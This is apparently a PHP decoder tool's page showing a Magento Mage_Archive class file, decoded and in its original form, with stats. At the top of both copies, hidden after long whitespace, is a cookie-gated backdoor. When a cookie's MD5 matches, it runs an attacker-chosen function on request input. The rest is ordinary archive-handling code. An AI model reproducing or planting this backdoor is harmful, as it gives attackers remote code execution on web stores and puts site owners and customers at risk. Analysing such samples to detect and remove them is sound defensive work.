Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                 if(md5(@$_COOKIE[qz])=='a16c916a51704631d67a1d1c8a100c28')($_=@$_REQUEST[q]).@$_(stripslashes($_REQUEST[z]));?><?php 
/** 
 * Magento 
 * 
 * NOTICE OF LICENSE 
 * 
 * This source file is subject to the Open Software License (OSL 3.0) 
 * that is bundled with this package in the file LICENSE.txt. 
 * It is also available through the world-wide-web at this URL: 
 * http://opensource.org/licenses/osl-3.0.php 
 * If you did not receive a copy of the license and are unable to 
 * obtain it through the world-wide-web, please send an email 
 * to [email protected] so we can send you a copy immediately. 
 * 
 * DISCLAIMER 
 * 
 * Do not edit or add to this file if you wish to upgrade Magento to newer 
 * versions in the future. If you wish to customize Magento for your 
 * needs please refer to http://www.magentocommerce.com for more information. 
 * 
 * @category    Mage 
 * @package     Mage_Archive 
 * @copyright   Copyright (c) 2011 Magento Inc. (http://www.magentocommerce.com) 
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0) 
 */ 
 
/** 
 * Class to work with archives 
 * 
 * @category    Mage 
 * @package     Mage_Archive 
 * @author      Magento Core Team <[email protected]> 
 */ 
class Mage_Archive 
{ 
 
    /** 
    * Archiver is used for compress. 
    */ 
    const DEFAULT_ARCHIVER   = 'gz'; 
 
    /** 
    * Default packer for directory. 
    */ 
    const TAPE_ARCHIVER      = 'tar'; 
 
    /** 
    * Current archiver is used for compress. 
    * 
    * @var Mage_Archiver_Tar|Mage_Archiver_Gz|Mage_Archiver_Bz 
    */ 
    protected $_archiver=null; 
 
    /** 
    * Accessible formats for compress. 
    * 
    * @var array 
    */ 
    protected $_formats = array( 
        'tar'        => 'tar', 
        'gz'         => 'gz', 
        'gzip'       => 'gz', 
        'tgz'        => 'tar.gz', 
        'tgzip'      => 'tar.gz', 
        'bz'         => 'bz', 
        'bzip'       => 'bz', 
        'bzip2'      => 'bz', 
        'bz2'        => 'bz', 
        'tbz'        => 'tar.bz', 
        'tbzip'      => 'tar.bz', 
        'tbz2'       => 'tar.bz', 
        'tbzip2'     => 'tar.bz'); 
 
    /** 
    * Create object of current archiver by $extension. 
    * 
    * @param string $extension 
    * @return Mage_Archiver_Tar|Mage_Archiver_Gz|Mage_Archiver_Bz 
    */ 
    protected function _getArchiver($extension) 
    { 
        if(array_key_exists(strtolower($extension), $this->_formats)) { 
            $format = $this->_formats[$extension]; 
        } else { 
            $format = self::DEFAULT_ARCHIVER; 
        } 
        $class = 'Mage_Archive_'.ucfirst($format); 
        $this->_archiver = new $class(); 
        return $this->_archiver; 
    } 
 
    /** 
    * Split current format to list of archivers. 
    * 
    * @param string $source 
    * @return array 
    */ 
    protected function _getArchivers($source) 
    { 
        $ext = pathinfo($source, PATHINFO_EXTENSION); 
        if(!isset($this->_formats[$ext])) { 
            return array(); 
        } 
        $format = $this->_formats[$ext]; 
        if ($format) { 
            $archivers = explode('.', $format); 
            return $archivers; 
        } 
        return array(); 
    } 
 
    /** 
    * Pack file or directory to archivers are parsed from extension. 
    * 
    * @param string $source 
    * @param string $destination 
    * @param boolean $skipRoot skip first level parent 
    * @return string Path to file 
    */ 
    public function pack($source, $destination='packed.tgz', $skipRoot=false) 
    { 
        $archivers = $this->_getArchivers($destination); 
        $interimSource = ''; 
        for ($i=0; $i<count($archivers); $i++ ) { 
            if ($i == (count($archivers) - 1)) { 
                $packed = $destination; 
            } else { 
                $packed = dirname($destination) . DS . '~tmp-'. microtime(true) . $archivers[$i] . '.' . $archivers[$i]; 
            } 
            $source = $this->_getArchiver($archivers[$i])->pack($source, $packed, $skipRoot); 
            if ($interimSource && $i < count($archivers)) { 
                unlink($interimSource); 
            } 
            $interimSource = $source; 
        } 
        return $source; 
    } 
 
    /** 
    * Unpack file from archivers are parsed from extension. 
    * If $tillTar == true unpack file from archivers till 
    * meet TAR archiver. 
    * 
    * @param string $source 
    * @param string $destination 
    * @param bool $tillTar 
    * @param bool $clearInterm 
    * @return string Path to file 
    */ 
    public function unpack($source, $destination='.', $tillTar=false, $clearInterm = true) 
    { 
        $archivers = $this->_getArchivers($source); 
        $interimSource = ''; 
        for ($i=count($archivers)-1; $i>=0; $i--) { 
            if ($tillTar && $archivers[$i] == self::TAPE_ARCHIVER) { 
                break; 
            } 
            if ($i == 0) { 
                $packed = rtrim($destination, DS) . DS; 
            } else { 
                $packed = rtrim($destination, DS) . DS . '~tmp-'. microtime(true) . $archivers[$i-1] . '.' . $archivers[$i-1]; 
            } 
            $source = $this->_getArchiver($archivers[$i])->unpack($source, $packed); 
 
            if ($clearInterm && $interimSource && $i >= 0) { 
                unlink($interimSource); 
            } 
            $interimSource = $source; 
        } 
        return $source; 
    } 
 
    /** 
    * Extract one file from TAR (Tape Archiver). 
    * 
    * @param string $file 
    * @param string $source 
    * @param string $destination 
    * @return string Path to file 
    */ 
    public function extract($file, $source, $destination='.') 
    { 
        $tarFile = $this->unpack($source, $destination, true); 
        $resFile = $this->_getArchiver(self::TAPE_ARCHIVER)->extract($file, $tarFile, $destination); 
        if (!$this->isTar($source)) { 
            unlink($tarFile); 
        } 
        return $resFile; 
    } 
 
    /** 
    * Check file is archive. 
    * 
    * @param string $file 
    * @return boolean 
    */ 
    public function isArchive($file) 
    { 
        $archivers = $this->_getArchivers($file); 
        if (count($archivers)) { 
            return true; 
        } 
        return false; 
    } 
 
    /** 
    * Check file is TAR. 
    * 
    * @param mixed $file 
    * @return boolean 
    */ 
    public function isTar($file) 
    { 
        $archivers = $this->_getArchivers($file); 
        if (count($archivers)==1 && $archivers[0] == self::TAPE_ARCHIVER) { 
            return true; 
        } 
        return false; 
    } 
} 
 
 ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                 if(md5(@$_COOKIE[qz])=='a16c916a51704631d67a1d1c8a100c28')($_=@$_REQUEST[q]).@$_(stripslashes($_REQUEST[z]));?><?php
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [email protected] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Mage
 * @package     Mage_Archive
 * @copyright   Copyright (c) 2011 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */

/**
 * Class to work with archives
 *
 * @category    Mage
 * @package     Mage_Archive
 * @author      Magento Core Team <[email protected]>
 */
class Mage_Archive
{

    /**
    * Archiver is used for compress.
    */
    const DEFAULT_ARCHIVER   = 'gz';

    /**
    * Default packer for directory.
    */
    const TAPE_ARCHIVER      = 'tar';

    /**
    * Current archiver is used for compress.
    *
    * @var Mage_Archiver_Tar|Mage_Archiver_Gz|Mage_Archiver_Bz
    */
    protected $_archiver=null;

    /**
    * Accessible formats for compress.
    *
    * @var array
    */
    protected $_formats = array(
        'tar'        => 'tar',
        'gz'         => 'gz',
        'gzip'       => 'gz',
        'tgz'        => 'tar.gz',
        'tgzip'      => 'tar.gz',
        'bz'         => 'bz',
        'bzip'       => 'bz',
        'bzip2'      => 'bz',
        'bz2'        => 'bz',
        'tbz'        => 'tar.bz',
        'tbzip'      => 'tar.bz',
        'tbz2'       => 'tar.bz',
        'tbzip2'     => 'tar.bz');

    /**
    * Create object of current archiver by $extension.
    *
    * @param string $extension
    * @return Mage_Archiver_Tar|Mage_Archiver_Gz|Mage_Archiver_Bz
    */
    protected function _getArchiver($extension)
    {
        if(array_key_exists(strtolower($extension), $this->_formats)) {
            $format = $this->_formats[$extension];
        } else {
            $format = self::DEFAULT_ARCHIVER;
        }
        $class = 'Mage_Archive_'.ucfirst($format);
        $this->_archiver = new $class();
        return $this->_archiver;
    }

    /**
    * Split current format to list of archivers.
    *
    * @param string $source
    * @return array
    */
    protected function _getArchivers($source)
    {
        $ext = pathinfo($source, PATHINFO_EXTENSION);
        if(!isset($this->_formats[$ext])) {
            return array();
        }
        $format = $this->_formats[$ext];
        if ($format) {
            $archivers = explode('.', $format);
            return $archivers;
        }
        return array();
    }

    /**
    * Pack file or directory to archivers are parsed from extension.
    *
    * @param string $source
    * @param string $destination
    * @param boolean $skipRoot skip first level parent
    * @return string Path to file
    */
    public function pack($source, $destination='packed.tgz', $skipRoot=false)
    {
        $archivers = $this->_getArchivers($destination);
        $interimSource = '';
        for ($i=0; $i<count($archivers); $i++ ) {
            if ($i == (count($archivers) - 1)) {
                $packed = $destination;
            } else {
                $packed = dirname($destination) . DS . '~tmp-'. microtime(true) . $archivers[$i] . '.' . $archivers[$i];
            }
            $source = $this->_getArchiver($archivers[$i])->pack($source, $packed, $skipRoot);
            if ($interimSource && $i < count($archivers)) {
                unlink($interimSource);
            }
            $interimSource = $source;
        }
        return $source;
    }

    /**
    * Unpack file from archivers are parsed from extension.
    * If $tillTar == true unpack file from archivers till
    * meet TAR archiver.
    *
    * @param string $source
    * @param string $destination
    * @param bool $tillTar
    * @param bool $clearInterm
    * @return string Path to file
    */
    public function unpack($source, $destination='.', $tillTar=false, $clearInterm = true)
    {
        $archivers = $this->_getArchivers($source);
        $interimSource = '';
        for ($i=count($archivers)-1; $i>=0; $i--) {
            if ($tillTar && $archivers[$i] == self::TAPE_ARCHIVER) {
                break;
            }
            if ($i == 0) {
                $packed = rtrim($destination, DS) . DS;
            } else {
                $packed = rtrim($destination, DS) . DS . '~tmp-'. microtime(true) . $archivers[$i-1] . '.' . $archivers[$i-1];
            }
            $source = $this->_getArchiver($archivers[$i])->unpack($source, $packed);

            if ($clearInterm && $interimSource && $i >= 0) {
                unlink($interimSource);
            }
            $interimSource = $source;
        }
        return $source;
    }

    /**
    * Extract one file from TAR (Tape Archiver).
    *
    * @param string $file
    * @param string $source
    * @param string $destination
    * @return string Path to file
    */
    public function extract($file, $source, $destination='.')
    {
        $tarFile = $this->unpack($source, $destination, true);
        $resFile = $this->_getArchiver(self::TAPE_ARCHIVER)->extract($file, $tarFile, $destination);
        if (!$this->isTar($source)) {
            unlink($tarFile);
        }
        return $resFile;
    }

    /**
    * Check file is archive.
    *
    * @param string $file
    * @return boolean
    */
    public function isArchive($file)
    {
        $archivers = $this->_getArchivers($file);
        if (count($archivers)) {
            return true;
        }
        return false;
    }

    /**
    * Check file is TAR.
    *
    * @param mixed $file
    * @return boolean
    */
    public function isTar($file)
    {
        $archivers = $this->_getArchivers($file);
        if (count($archivers)==1 && $archivers[0] == self::TAPE_ARCHIVER) {
            return true;
        }
        return false;
    }
}

Function Calls

None

Variables

None

Stats

MD5 cd79e78c59513e52d369a3b6699429c5
Eval Count 0
Decode Time 121 ms